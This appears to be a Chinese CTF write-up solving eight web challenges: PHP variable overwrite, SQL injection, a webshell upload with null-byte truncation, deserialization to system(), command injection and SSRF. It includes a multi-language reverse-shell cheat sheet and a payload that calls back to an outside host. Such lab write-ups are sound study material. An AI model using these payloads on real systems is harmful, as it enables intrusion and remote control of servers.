1.php_checkin

观察程序

<?php
include 'flag.php';
parse_str($_SERVER['QUERY_STRING']);
if (isset($pass)) {
    $key = md5($pass);
}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {
    echo $flag;
}
else {
    highlight_file(__FILE__);
}

构造payload

http://172.22.161.3:19203/?key=a7a795a8efb7c30151031c2cb700ddd9

浏览器地址栏键入得到Flag

flag{51323107f5fe90dae108a349f9a3a827}

2.白给注入

打开网站,万能账号走一波

bg-1.png

然后进入到了http://172.22.161.3:10000/my.php?id=1

bg-2.png

发现id可能存在注入漏洞,按F12拿到Cookie

Cookie: PHPSESSID=0b2041rtaaj457qs9p011kneo3

出来吧,kali!

bg-3.png

bg-4.png

发现flag,然后直接...

bg-5.png

bg-6.png

得到flag

flag{302bb0b547b2e5a9fb178a6a767223ee}

3.白给上传1

???跑马场可还行

sc-1.png

构建木马文件(没错,这是一张图片)

sc-2.png

然后上传文件,bp开起来

sc-3.png

经典的00截断试一试

sc-4.png

马已就位,下面让它跑起来

sc-5.png

蚁剑就位(当然菜刀也可以,别喷我)

sc-6.png

根目录发现flag

sc-7.png

双击打开,得到

flag{37ac6435fcb4c49ecc89f820a8226aed}

4.mini_phpStorm

题目提示已经很明显了

Phpstorm IDE 开发过程中会生成一个.idea的缓存目录(里面包含一些敏感文件)

打开 http://172.22.161.3:11452/.idea/workspace.xml

得到

st-1.png

于是访问 http://172.22.161.3:11452/Thi5_tru3_qu3sti0n.php

得到 flag{fec536090bdf64ff6097c365a809f7e9}

5. 24岁,是学生,容易昏睡

打开网址发现是一道审计题

<?php

highlight_file(__FILE__);
error_reporting(0);

class Beast
{
    public $name = "student";
    public $age = 24;
    public $behavior = "sleep(3)";

    public function __destruct()
    {
        $name = $this->name;
        $name($this->behavior);
    }

}

unserialize($_GET['person']);

于是构造payload

http://172.22.161.3:1919/?person=O:5:"Beast":3:{s:4:"name";s:6:"system";s:3:"age";i:24;s:8:"behavior";s:12:"cat flag.php";}

右击查看源代码,找到flag

$flag = 'flag{d1d_y0u_w4ke_me_up}'

6.别流泪心酸 更不应舍弃

打开网址,发现又是一道审计题

<?php
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
if (stristr($_SERVER["QUERY_STRING"], "South_CTF")) {
    die($ll45l4);
}
if (!(is_numeric($_GET["South_CTF"]) && $_GET["South_CTF"] !== '114514')) {
    die($ll45l4);
}
if ($_GET["South_CTF"] == 114514) {
    echo $flag;
    die($cry);
} else {
    die($ll45l4);

分析源码,我们需要完成三个步骤

  • 提交一个不含South_CTF的含South_CTF的请求
  • South_CTF为数字且不等于114514
  • South_CTF等于114514

第一步可以采用url编码绕过,第二步利用php的特性,bp抓包

xs-1.png

点Forward得到flag: flag{te4rs_shed_d0wn}

7.辣鸡网站检测器

打开网站,尝试一下发现这是个连接检测器

lj.png

尝试反向日穿,下面是反弹shell的一些常见手段

#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

#nc版本:
nc -e /bin/sh 10.0.0.1 1234

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

打开VPS,监听8084端口(其他也行)

lj-2.png

构造payload(其他版本也行)

127.0.0.1;php -r '$sock=fsockopen("jerrita.cn",8084);exec("/bin/sh -i <&3 >&3 2>&3");'

然后发现网站一直在加载,然后vps收到了反弹来的信号

lj-3.png

得到flag{c42c93482d8f64d50a18e10775514d7d}`

8.涅帝的图片浏览器

随便选个图片网站发现他的url长这样

http://120.77.215.95:8003/image.php?image=http%3A%2F%2F120.77.215.95%3A8003%2Fpan%2F1.gif

然后使用file协议,构造链接

http://120.77.215.95:8003/image.php?image=file:///flag

源码处发现ZmxhZ3s0aF90aDFzXzFzX3NzcmYhfQ==

解码,得到flag{4h_th1s_1s_ssrf!}

Last modification:March 29th, 2020 at 10:37 am